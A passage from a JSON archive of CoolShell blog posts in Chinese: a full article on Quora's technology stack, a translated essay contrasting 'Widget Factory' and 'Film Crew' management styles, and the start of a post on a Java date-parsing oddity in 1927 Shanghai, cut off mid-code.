    "content": "<html><body><p>以前向大家介绍过<a href=\"https://coolshell.cn/articles/3721.html\" target=\"_blank\" title=\"Stack Exchange 的架构\">Stack Exchange的系统架构</a>和<a href=\"https://coolshell.cn/articles/4549.html\" target=\"_blank\" title=\"Facebook 的系统架构\">Facebook的系统架构</a>，今天和大家说说Quora的。本文主要参考了<a href=\"http://www.philwhln.com/author/admin/\" title=\"Phil Whelan\">Phil Whelan</a>的这篇文章《<a href=\"http://www.philwhln.com/quoras-technology-examined\" target=\"_blank\">Quora’s Technology Examined</a>》。关于Quora是个什么网站我就不多说了，国内对他的C2C网站叫“知乎”。呵呵。我们还是来看看Quora的技术吧。</p>\n<h4>Search-Box</h4>\n<p>Quora只能搜索问题，主题标签，用户名，和主题标题。没有全文搜索，所以，你无法搜索问题和答案的内容。而搜索中使用前缀搜索方式，比如你输入mi，则Microsoft会马上出来。其搜索还会有一些非常简单的模糊匹配的算法。另外，如果有重复的问题，其中一个问题会自动跳转到另一个问题，但是在搜索中还是会出现。搜索中没有拼写检查。</p>\n<p>一开始，他们使用的是一个开源的搜索服务器，叫<a href=\"http://sphinxsearch.com/\">Sphinx</a>。其支持上述的那些功能。现在他们不用这个技术了，因为<a href=\"http://www.quora.com/What-is-the-best-open-source-solution-for-implementing-fast-auto-complete\" target=\"_blank\">受到了一些限制</a>。他们做了一个比较新的解决方案，这个算法由Python实现。</p>\n<p><strong>参看</strong>：<a href=\"http://www.quora.com/What-libraries-does-Quora-use-for-search\"><img alt=\"\" height=\"16\" src=\"http://www.quora.com/favicon.ico\" width=\"16\"/>What libraries does Quora use for search?</a></p>\n<h4>实时查询</h4>\n<p>Quora的查询是非常高速的，其查询请求是通过AJAX的GET请求发送的，结果返回用的是JSON数据格式，但他们解析JSON是在服务器端，而不是通过浏览器的javascript。这么做的原因可能是他们想高亮搜索关键词，似乎使用Client端的Javascript非常不好做。</p>\n<p>Quora的即时搜索好像比较暴力，如果你输入Microsoft（一共9个字符），你会看到其会像后端发送9次查询——每按一个键一次，无论你敲这个单词的速底有多快，每输入一个字符都会发一个请求给后台。对于这样的看上去没有效率的对后台的请求，后台的服务器端会来控制相关的前台请求，所以，就算是前台这样做，也不会增加服务器端的负载，因为后台会做相关的处理。</p>\n<p>Quora的搜索使用HTTP长连接，当你开始敲查询的时候，连接就建立了，这个连接会持续在那里，你下次搜索的时候会继续使用这个连接，除非你60秒没有动作了。</p>\n<p><strong>参看</strong>：<a href=\"http://www.quora.com/Quora-product/Is-Quora-going-to-implement-full-text-search\"><img alt=\"\" height=\"16\" src=\"http://www.quora.com/favicon.ico\" width=\"16\"/>Is Quora going to implement full-text search?</a></p>\n<p><span id=\"more-4939\"></span></p>\n<h4 id=\"webnode2-and-livenode\">Webnode2 和 LiveNode</h4>\n<p>Webnode2 和 LiveNode 是 Quora 内部的系统，其用来管理内容。Webnode2  生成 HTML, CSS 和 JavaScript 并且和 LiveNode 紧紧地耦合在一起，Webnode2主要是用来管理内容在网页上显示的，LiveNode主要是用来做动态网页内容更新的。Charlie Cheever 说，如果他可以从新开始，他 <a href=\"http://www.quora.com/What-limitations-has-Quora-encountered-due-to-LiveNode-WebNode#answers\" target=\"_blank\">第一件事要做的就是重写整个LiveNode</a>.</p>\n<p>Quora的工程师看上去对他们搞的这些东西非常的满意，并且 <a href=\"http://www.quora.com/What-limitations-has-Quora-encountered-due-to-LiveNode-WebNode#answers\">他们也在努力地找到这些东西的弱点</a>。有一个有意思的关于LiveNode的问题是，如果A和B同时正在看相当的一个问题，那么用户A的一些交互动作会影响B的页面。例如，如果A顶了一下某个答案，那么这个答案可能会往上移动。这样的一个显示变化会通过AJAX更新B的浏览器。如果B此时展开了评论，可能会受到影响。</p>\n<p><a href=\"http://www.quora.com/What-is-LiveNode-written-in\">LiveNode 由这些东西写成：</a>Python, C++, and JavaScript. <a href=\"http://jquery.com/\">jQuery</a> ，<a href=\"http://cython.org/\">Cython</a>也用到了。</p>\n<p>因为Quora <a href=\"http://www.quora.com/Is-Quora-planning-on-open-sourcing-LiveNode\">想要对他们的LiveNode开源</a> 并准备把他们的代码分开，做这个事可能需要太多的工作和时间。</p>\n<p>Charlie Cheever 指出 WebNode2 和 <a href=\"http://www.quora.com/Quora-Infrastructure/What-is-webnode2\">有一个叫做 “free and easy website builder” 的 Webnode 的 webnode.com</a> 没有任何的关系。</p>\n<p><strong>参考</strong>：<a href=\"http://www.quora.com/Quora-product/Is-Quora-going-to-implement-full-text-search\"><img alt=\"\" height=\"16\" src=\"http://www.quora.com/favicon.ico\" width=\"16\"/></a> <a href=\"http://www.quora.com/Shreyes-Seshasai/Tech-Talk-Webnode2-and-LiveNode\" target=\"_blank\">Tech Talk – Webnode2 and LiveNode</a></p>\n<h4>Amazon Web Service</h4>\n<p>Quora全部host在AWS的EC2和S3上，这对于这些刚刚起步的快速发展的公司非常关键，因为你可以省去了很多硬件和维护的成本。（建一个数据中心并不是所有公司都能干的事）。Quora的操作系统使用Ubuntu Linux，这是非常容易部署和管理。</p>\n<p>其静态页使用了Amazon的CDN的 <a href=\"http://aws.amazon.com/cloudfront/\" target=\"_blank\">Cloudfront</a>服务分发，CloudFront用于所有的静态图片, CSS 和JavaScript。<a href=\"http://www.quora.com/How-is-Quora-doing-image-uploads-to-Amazon-S3\" target=\"_blank\">图片先传到 EC2 服务器</a>，使用 <a href=\"http://aws.amazon.com/code/134\" target=\"_blank\">Pyhon S3 <acronym title=\"Application Programming Interface \">API</acronym></a> 处理后后传到 S3。</p>\n<h4 id=\"haproxy-load-balancing\">HAProxy Load-Balancing</h4>\n<p><a href=\"http://haproxy.1wt.eu/\" target=\"_blank\">HAProxy </a>作为前端负载均衡服务器，反向代理服务器是 Nginx，Nginx 后面则是 Pylons (<a href=\"http://spacepants.org/blog/pylons-paste-stack\">Pylons + Paste</a>) , 承担动态 Web 请求。</p>\n<p><a href=\"http://pylonshq.com/\">Pylons</a>，是一个轻量级的Web框架，通常都是在Nginx后面使用。选用Pylons就像你在春节先饺子当主食一样。他们把Pylons中的template和ORM取走而使用自己的技术（由Python写成），这个地方就是 <a href=\"http://www.quora.com/What-languages-and-frameworks-were-used-to-code-Quora\">LiveNode 和 WebNode2的地方</a>。</p>\n<h4>Python</h4>\n<p>从facebook出来的Charlie 和 Adam选用了Python而不是PHP。正如Adam指出的——“<a href=\"http://www.quora.com/Why-did-Quora-choose-Python-for-its-development\">Facebook is stuck on that for legacy reasons, not because it is the best choice right now</a>”（Facebook使用PHP并不是因为其好，而是因为历史原因的问题），当然他们也不会使用C#，因为那样一来就会引入一堆微软的东西。当然，也不会是Java，因为Python要比Java更容易写出代码，Scala太年轻了，还需要考验。Ruby看上来很像Python，但是他们对Ruby没有过多的经验。最终还是Python胜出。当然，他们知道Python的弱点是性能和速度，所以，他们在需要速度和性能的地方使用了C/C++。 他们使用Python的版本是2.6。</p>\n<p>使用Python的另一个原因是Python的数据结构和JSON可以很好的映射起来。代码易读性很高。而且有很多的库，调试器和重载器。Quora的B/S结构几乎完全通过JSON进行数据交互。</p>\n<p>他们<a href=\"http://www.quora.com/Adam-DAngelo/What-version-of-Python-are-you-programming-in-and-what-IDE-do-you-use\" target=\"_blank\">没有使用IDE</a>，他们使用得最多的是Emacs，一看就知道这是一个个人的选择，随着他们开发团队的扩大，这个事会得到改变的。</p>\n<p>另外，他们提到了<a href=\"http://codespeak.net/pypy/dist/pypy/doc/\">PyPy</a>，一个让 Python更快更灵活的项目。</p>\n<h4 id=\"thrift\">Thrift</h4>\n<p><a href=\"http://incubator.apache.org/thrift/\">Thrift</a> 用于后端服务器间的通讯。Thrift  服务由 C++开发。<a href=\"https://coolshell.cn/articles/4549.html\" target=\"_blank\">Facebook同样使用了这个技术</a>。</p>\n<p><strong>参考</strong>：<a href=\"http://www.quora.com/Why-would-you-write-a-Thrift-service-in-C\"><img alt=\"\" height=\"16\" src=\"http://www.quora.com/favicon.ico\" width=\"16\"/>Why would you write a Thrift service in C++?</a></p>\n<h4 id=\"tornado\">Tornado</h4>\n<p><a href=\"http://www.tornadoweb.org/\">Tornado</a> web 框架用于实时更新，其运行在Comet 服务器上，其用来处理大量的需要长时间poll和push更新的网络连接。</p>\n<h4 id=\"long-polling-comet\">Long Polling (Comet)</h4>\n<p>Quora的网页并不是简单的显示，每一个页面都需要更新，或是创建问题，答案和评论。所以，他们使用了Long Polling而不是传统的Polling，传统的Polling需要浏览器一端不停地重复地向服务器询问——“有更新吗？”，服务器说没有，于是过一会浏览大再问，现在呢？服务器说，还是没有，浏览器过一会又问，现在呢？服务器说，还没好。这样一来，就好像让我们的客户端放到了驾驶室里，这显然是有问题的，因为只有服务器知道什么时候会有更新。而且浏览器这么干，很快会让服务器的负载加上去。</p>\n<p>Long polling 也就是我们熟知的 <a href=\"http://en.wikipedia.org/wiki/Comet_(programming)\">Comet</a>，其让服务器来控制这些事，让客服端等在那里听服务器的响应。在client和 server的会话对于两者是是相同的，而不是client需要等着然后向服务器查询。服务器端可以把一个连接打开很长时间（比如：60秒），在这段时间里，服务器会查看是否有相应的东西需要更新，如果有的话，就发给浏览器。如果没有的话，就等下一次的client询问。可见，这种服务器等一会再响应的方法可以让浏览器少发几次查询。</p>\n<p>对于long-polling 的最好的地方是，可以降低浏览器和客户端间来来回回的次数。让服务器端来控制时间，所以，内容更新可能会只是几个毫秒，或是几十秒。 服务器端也可以积攒一堆更新后，一次发给浏览器。这样做会更有效率。</p>\n<p>但是，这个方法的黑暗面是——这会让服务器端出现大量的TCP链接，想一想，Quora也是百万级用户的应用了，只需要10%的在线用户，你就需要一个可以处理10万并发量的架构。注意，如果一个用户在其浏览器里打开了多个Quora网页的话，那么，这个链接器会是非常致命的。</p>\n<p>当然，好的消息是已经有一些技术专门为Long Polling设计，这些技术可以让你在那些等待的连接中只会消耗非常非常少的内存（因为那些等待连接并不需要所有的资源）。例如：Nginx 是一个单线程的事件驱动的小型服务器，每一个链接只花非常小的内存。每一个Nginx的进程只会在一个时候处理一个连接。这意味着其很容易扩展成一个可以处理成千上的并发量的服务架构。</p>\n<p><strong>参考</strong>：<a href=\"http://www.quora.com/How-do-you-push-messages-back-to-a-web-browser-client-through-AJAX-Is-there-any-way-to-do-this-without-having-the-client-constantly-polling-the-server-for-updates\"><img alt=\"\" height=\"16\" src=\"http://www.quora.com/favicon.ico\" width=\"16\"/>How do you push messages back to a web-browser client through AJAX? Is there any way to do this without having the client constantly polling the server for updates?</a></p>\n<h4 id=\"mysql\">MySQL</h4>\n<p>就像Adam D’Angelo 的老东家facebook一样，，Quora重度使用MySQL。对于，把数据库里的数据分区是最需要做的事。他们的行事原则是，尽可能的把数据放在一台机器上，使用hash主键把大规模的数据存放到多个数据库中。坚决不用表连接。Adam参考了FriendFeed的一篇文章<a href=\"http://bret.appspot.com/entry/how-friendfeed-uses-mysql\">How FriendFeed uses MySQL to store schema-less data</a>，<a href=\"http://www.quora.com/NoSQL/In-what-parts-of-a-social-site-with-concert-listings-should-one-use-a-NoSQL-DB-versus-a-SQL-DB\">并说</a>你不应该在你的社区还没有100万用户的时候使用NoSQL 数据库。</p>\n<p>并不只是Quora和FriendFeed使用MySQL，Google，Twitter，Facebook都在使用MySQL.</p>\n<p>参考：<a href=\"http://www.quora.com/How-does-one-evaluate-if-a-database-is-efficient-enough-to-not-crash-as-its-put-under-increasing-load\"><img alt=\"\" height=\"16\" src=\"http://www.quora.com/favicon.ico\" width=\"16\"/>How does one evaluate if a database is efficient enough to not crash as it’s put under increasing load?</a></p>\n<h4 id=\"memcached\">Memcached</h4>\n<p><a href=\"http://memcached.org/\">Memcached</a> 用于 MySQL的前端缓存。</p>\n<h4 id=\"git\">Git</h4>\n<p><a href=\"http://git-scm.com/\">Git</a> <a href=\"http://www.quora.com/What-languages-and-frameworks-were-used-to-code-Quora\">是他们的源码版本控制工具</a>.</p>\n<h4 id=\"javascript-placement\">JavaScript Placement</h4>\n<p>如果你看一下Quora的网页源码，你会看到其JavaScript总是在页面的最后。 Charlie Cheever<a href=\"http://www.quora.com/Why-is-the-Quora-website-so-fast\">建议</a> 这会让你的页面显得载入得很快，因为其先显示内容，然后在载入Javascript。</p>\n<h4 id=\"charlie-cheever-follows-14-rules-for-faster-loading-web-sites\">Charlie Cheever 遵从 “14 Rules for Faster-Loading Web Sites”</h4>\n<p>Steve Souders,  High Performance Web Sites 和 Even Faster Web Sites的作者，其列了一些 <a href=\"http://stevesouders.com/hpws/rules.php\">rules让你网页更快的原则</a>。 Charlie Cheever 的 Quora 创始人提到这些过，这应该也是Quora的速度的原因。</p>\n<blockquote><p>“One resource we used as a guide is Steve Souders’ list of rules for high performance websites:<a href=\"http://stevesouders.com/hpws/rules.php\">http://stevesouders.com/hpws/rules.php</a>”<br/>\n<small><a href=\"http://www.quora.com/Why-is-the-Quora-website-so-fast\">– Charlie Cheever, Quora</a></small></p></blockquote>\n<div>\n<div>Steve Souders的14条规则是——<a href=\"http://www.amazon.com/gp/product/0596529309?ie=UTF8&amp;tag=getafil-20&amp;linkCode=as2&amp;camp=1789&amp;creative=9325&amp;creativeASIN=0596529309\"><img alt=\"\" border=\"0\" class=\"alignright\" src=\"https://images-na.ssl-images-amazon.com/images/I/41COtT-V1UL._SL160_.jpg\"/></a><a href=\"http://www.amazon.com/gp/product/0596522304?ie=UTF8&amp;tag=getafil-20&amp;linkCode=as2&amp;camp=1789&amp;creative=9325&amp;creativeASIN=0596522304\"><br/>\n</a> \n<ul>\n<li>Make Fewer HTTP Requests</li>\n<li>Use a Content Delivery Network</li>\n<li>Add an Expires Header</li>\n<li>Gzip Components</li>\n<li>Put Stylesheets at the Top</li>\n<li>Put Scripts at the Bottom</li>\n<li><a href=\"http://www.amazon.com/gp/product/0596522304?ie=UTF8&amp;tag=getafil-20&amp;linkCode=as2&amp;camp=1789&amp;creative=9325&amp;creativeASIN=0596522304\"><img alt=\"\" border=\"0\" class=\"alignright\" src=\"https://images-na.ssl-images-amazon.com/images/I/41vfOvQugoL._SL160_.jpg\"/></a>Avoid CSS Expressions</li>\n<li>Make JavaScript and CSS External</li>\n<li>Reduce DNS Lookups</li>\n<li>Minify JavaScript</li>\n<li>Avoid Redirects</li>\n<li>Remove Duplicate Scripts</li>\n<li>Configure ETags</li>\n<li>Make AJAX Cacheable</li>\n</ul>\n</div>\n</div>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4549.html\"><img alt=\"Facebook 的系统架构\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4549.html\">Facebook 的系统架构</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18140.html\"><img alt=\"关于Facebook 的 React 专利许可证\" height=\"150\" src=\"../wp-content/uploads/2017/09/react_patent-360x200-1-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18140.html\">关于Facebook 的 React 专利许可证</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11265.html\"><img alt=\"Python修饰器的函数式编程\" height=\"150\" src=\"../wp-content/uploads/2014/03/snake-hat-new-year-schedule-800x960-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11265.html\">Python修饰器的函数式编程</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/10822.html\"><img alt=\"函数式编程\" height=\"150\" src=\"../wp-content/uploads/2013/12/yoda-lambda-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/10822.html\">函数式编程</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/10169.html\"><img alt=\"类型的本质和函数式实现\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/5.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/10169.html\">类型的本质和函数式实现</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/4939.html\">Quora使用到的技术</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2011-7-6 软件公司的两种管理方式.html",
    "content": "<html><body><p>这篇文章是我的一个外国的同事Gareth推荐给我的，我和他一起工作过一段时间。他之所以觉得非常不错，是因为这篇文章让他身有体会，他觉得我也一定会有体会，并让我考虑一下翻译到我的blog上来。我看完后觉得很有代表性，而且觉得说得太对了，所以翻译过来，<strong>希望大家都读一读，最好转给你的公司老板</strong>。</p>\n<p>这篇文章来源于 StakeExchange上的一个问题——“<a href=\"http://programmers.stackexchange.com/questions/45776/why-do-business-analysts-and-project-managers-get-higher-salaries-than-programmer\" target=\"_blank\" title=\"Why do business analysts and project managers get higher salaries than programmers?\">为什么BA和PM的薪水要比程序员要高？</a>”，顶在一楼的回复分析了这个原因，并指出了两种管理文化。</p>\n<p style=\"text-align: center;\">———————————————————正文开始————————————————————</p>\n<p>一个简单的回答应该是——“因为在我们的社会里，我们总是会认为薪水和会和职位的层次绑在一起”。但是，这个答案同时也折射出一个事实——我们的薪资是基于我们的所理解的价值，但这并没有解释</p>\n<ol>\n<li><strong>为什么PM（Project Manager）和BA（Business Analysts）在很多软件公司里在组织的上层？</strong></li>\n<li><strong>为什么软件项目团队总是在最底层？</strong></li>\n</ol>\n<p>这两个问题真是非常地值得我们去问，去思考。</p>\n<p>总体来说，这个世界上存在两种不同的软件公司的组织结构。我把他们叫做 <strong>Widget Factory</strong>（小商品工厂） 和 <strong>Film Crews</strong>（电影工作组）.</p>\n<p>Widget Factories 想要去解决 <a href=\"http://en.wikipedia.org/wiki/Theory_X_and_theory_Y\" rel=\"nofollow\">怎么去激发被X理论所影响的人</a> 。X理论由 McGregor提出，这个理论是说，一般人的本性是懒惰的，工作越少越好，可能的话会逃避工作，大部分人对集体（公司，机构，单位或组织等）的目标不关心，因此管理者需要以强迫，威胁处罚，指导，金钱利益等诱因激发人们的工作源动力。于是，经理总是要去做他下属的工作。于是，基于这种前提下所思考出来的管理方式，很自然的就是——整个团队能够容易地被经理一个人所取代，这种团队中的每一个人都很容易被别人取代，在这种团队里，经理的工作能力不断地被加强。因些，这种公司一般使用树形层级的组织结构，而不是水平式的工作角色。</p>\n<p><span id=\"more-4951\"></span></p>\n<p>Widget Factory 管理体系运作于软件需求的某种假设，这种假设需要BA在一个定义地非常明确的并且需要主管项目经理监管的流程的环境下，准备软件的规格说明书。这种软件制造业需要对项目定置足够的可被替换的编程和测试资源。整个工作由事先安排好的预算来驱动，这个预算由PM和BA在初始化business case的时候完成。</p>\n<p>一个 Widget Factory 的公司的管理可以通过观察这个公司员工的谈话方式识别出来。他们很喜欢谈论Resource资源（包括干活的人也叫做resource），Process流程，Operating efficiency运作效率，uniformity一致性， repeatability可重复性，严格在控制对资源的使用，鲜明的工作角色和 鲜明的流程定义（inputs 和 outputs）。他们对实实在在的软件开发漠不关心，他们想要把理想中的软件开发运作变成他们看得见的图画。</p>\n<p>Film Crews 。这种公司认为人是有相当高的智力和创造力的，是自己可以激发自己的（陈皓注：即使没有外界的压力和处罚的威胁，他们一样会努力工作以期达到目的——人们具有自我调节和自我监督的能力），人们努力工作，并且可以享受工作（人们愿意为集体的目标而努力，在工作上会尽最大的努力，以发挥创造力，才智），就像孩子喜欢玩一样。 Film Crews 认为，每一个个体的自已专业能力，要远远优于那种被组织和协调出来的能力。因为经理不再代替每一个人，而树形的层次架构也不能很好的运作——人们不得不以比较复杂和形式合作才能把事搞定。工作职责变得非常地垂直——你需要具有从上到下的而比较宽泛的各种能力（陈皓注：每个人都需要有管理和技术能力），这种管理也就是基于 <a href=\"http://en.wikipedia.org/wiki/Theory_X_and_theory_Y\" rel=\"nofollow\">McGregor的 Y理论</a>。</p>\n<p>对于一个Film Crew 的Director（注：有总监和导演的意思），他了解把一个伟大的软件组合起来的每一个碎片，他需要组织一个无与伦比的团队，并且要帮助这个团队能凝聚在一起，团结在一起工作。他的角色是鼓舞大家，守护着构想（Vision），提供方向和集中大家的精力。团队里的每一个人都很关键，因为“Director”相信软件的结果来自所有的参与者，以及他们的那种独一无二团队工作方式。大家都知道自己是这个事的一个明星，明星效应可以增加成每个人的成功的机会。而他们的构想(Vision)驱动着项目的预算和拨款。</p>\n<p><strong>当我们用报酬来表示的话，</strong> Widget Factories 认为，有价值的东西总是从PM和BA派生出来的，所以他们常驻在管理层的上面，也有相应的报酬，而对于软件团队，只要他们正确地把需求变成可工作的代码后，软件团队就变得无所谓了。PM 和 BA 努力工作来维护他们的权位，他们通常不会让你能得到项目的原始信息。因为团队拿不到项目的原始信息，所以团队就要拼命地制造各种理由来让他们的方案变得有价值，程序员成为了只会从PM和BA那边听从命令的工人。而这种情况反而让Widget Factory 公司放大了他们的那种想法——程序员都是差不多的，就像车间里的工人一样，他们只不过在机械地干一些很复杂的但是很标准的事情。</p>\n<p>与 Widget Factories 公司鲜明的对比，Film Crew 更主张的是平等的工作职能，每个成员都可以不受限制地获得主要的和原始的信息，其鼓励所有人形成自己的价值判断，并且可以自由地选择不同的方式来达到团队的构想。Leadership领导力结构基于人的能力而不是工作角色。报酬折射出这个人是怎么在这个项目中工作的，需要明白这个人为我们的软件创造了多大的价值和产生了怎么样的结果。 在这种环境里，PM的工作显得并不突出，他也许也不太可能是一个有创造力的领导者，工作角色被弱化成了一种行政管理上的支持者，以及团队外部的联系者。BA的部分工作直接被团队取代（在项目早期被Director取代）。</p>\n<p>今天，我们一点也不奇怪，大多数的公司内的软件开发团队以及一些咨询工作运作于 Widget Factories ，其需要依赖于流程来不断地制造那些无聊的软件。在这种情况，惯例上来说，PM和BA要比程序员挣得更多，这是基本一种他们可以创造更多价值的假设。<strong>在这种组强架构和管理里，程序员们很难证明管理是错误的。</strong></p>\n<p><strong>成功的软件公司都会趋于采用 Film Crew 的方式，任何其它的东西都会妨碍他们吸引牛人的能力，因为只有吸引了牛人，你才能创造出伟大的软件</strong>。 在这种公司里，一个好的程序员的收入会高过BA和PM很多。</p>\n<p style=\"text-align: center;\">———————————————————正文结束————————————————————</p>\n<p style=\"text-align: left;\">读完这个贴子，我发现这完全就是在说我上一家公司和现在公司。我上一家公司的经理们最喜欢谈论的就是resource、 process，而他们的Project Manager或Team Manager或Dev Manager几乎不会为软件团队分担真正的软件开发的压力，还不如Widget Factory。哎！第一次看到这么被人系统地表达出来，心中的一些困惑都得到了解答。</p>\n<p style=\"text-align: left;\">你的公司属于哪一种呢？</p>\n<p style=\"text-align: left;\"><em><strong>————更新 – 2011-7-6 晚————</strong></em></p>\n<p style=\"text-align: left;\">有人在我的新浪微博（<a href=\"http://weibo.com/haoel\" target=\"_blank\">@左耳朵耗子</a>）里说，Widget Factory就是Waterfall，Film Crews就是Agile，在下面的留言里也说Film Crews很像SCRUM。我在这里驳斥一下这种说法：</p>\n<ol>\n<li>我上一家公司也用Agile ，但本质上还是Widget Factory，甚至还不像。</li>\n<li>著名的Thoughtworks中国公司，Agile的倡导者，其实是外包公司，他们的开发团队中也有PM和BA。</li>\n</ol>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/10217.html\"><img alt=\"加班与效率\" height=\"150\" src=\"../wp-content/uploads/2013/07/Work-Overtime-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/10217.html\">加班与效率</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3218.html\"><img alt=\"开发时间估计\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/8.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3218.html\">开发时间估计</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22298.html\"><img alt=\"聊聊团队协同和协同工具\" height=\"150\" src=\"../wp-content/uploads/2022/10/communication-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22298.html\">聊聊团队协同和协同工具</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22173.html\"><img alt=\"“一把梭：REST API 全用 POST”\" height=\"150\" src=\"../wp-content/uploads/2022/02/http_method-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22173.html\">“一把梭：REST API 全用 POST”</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22157.html\"><img alt=\"谈谈公司对员工的监控\" height=\"150\" src=\"../wp-content/uploads/2022/02/monitoring-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22157.html\">谈谈公司对员工的监控</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/21589.html\"><img alt=\"如何做一个有质量的技术分享\" height=\"150\" src=\"../wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/21589.html\">如何做一个有质量的技术分享</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/4951.html\">软件公司的两种管理方式</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2011-8-1 你确信你了解时间吗？.html",
    "content": "<html><body><p>你还记得“<a href=\"https://coolshell.cn/articles/4811.html\" rel=\"noopener\" target=\"_blank\" title=\"软件真的好难做啊\">软件真的好难做</a>”中的那个有意思的例子吗？那个例子告诉我们软件开发中假设可能会是致命的事。今天，我又在StackOverflow上看到一个关于时间的问题——<a href=\"http://stackoverflow.com/questions/6841333/why-is-subtracting-these-two-times-in-1927-giving-a-strange-result\" rel=\"noopener\" target=\"_blank\">为什么1927年12月31日的午夜时间这么奇怪</a>？提问题的这个人给了下面的一段java代码（我做一些修改，保证让你可以copy过去就可以编译运行）</p>\n<p>我在其中高亮了几行，这个程序就是想比较一下“<span class=\"Apple-style-span\" style=\"font-family: Consolas, Monaco, monospace; font-size: 12px; line-height: 18px; white-space: pre;\">1927-12-31 23:54:07<span class=\"Apple-style-span\" style=\"font-family: Georgia, 'Times New Roman', 'Bitstream Charter', Times, serif; font-size: 13px; line-height: 19px; white-space: normal;\">”  和  “<span class=\"Apple-style-span\" style=\"font-family: Consolas, Monaco, monospace; font-size: 12px; line-height: 18px; white-space: pre;\">1927-12-31 23:54:08<span class=\"Apple-style-span\" style=\"font-family: Georgia, 'Times New Roman', 'Bitstream Charter', Times, serif; font-size: 13px; line-height: 19px; white-space: normal;\">” 差几秒，很明显，是差一秒。但是程序的输出却不是这样的。</span></span></span></span></p>\n<pre class=\"EnlighterJSRAW\">import java.text.SimpleDateFormat;\nimport java.text.ParseException;\nimport java.util.Date;\nimport java.util.TimeZone;\nclass time{\n    public static void main(String[] args) throws ParseException {\n        SimpleDateFormat sf = new SimpleDateFormat(\"yyyy-MM-dd HH:mm:ss\");\n        sf.setTimeZone(TimeZone.getTimeZone(\"Asia/Shanghai\"));\n        String str3 = \"1927-12-31 23:54:07\";\n        String str4 = \"1927-12-31 23:54:08\";\n        Date sDt3 = sf.parse(str3);\n        Date sDt4 = sf.parse(str4);\n        long ld3 = sDt3.getTime() /1000;\n        long ld4 = sDt4.getTime() /1000;\n        System.out.println(ld3);\n        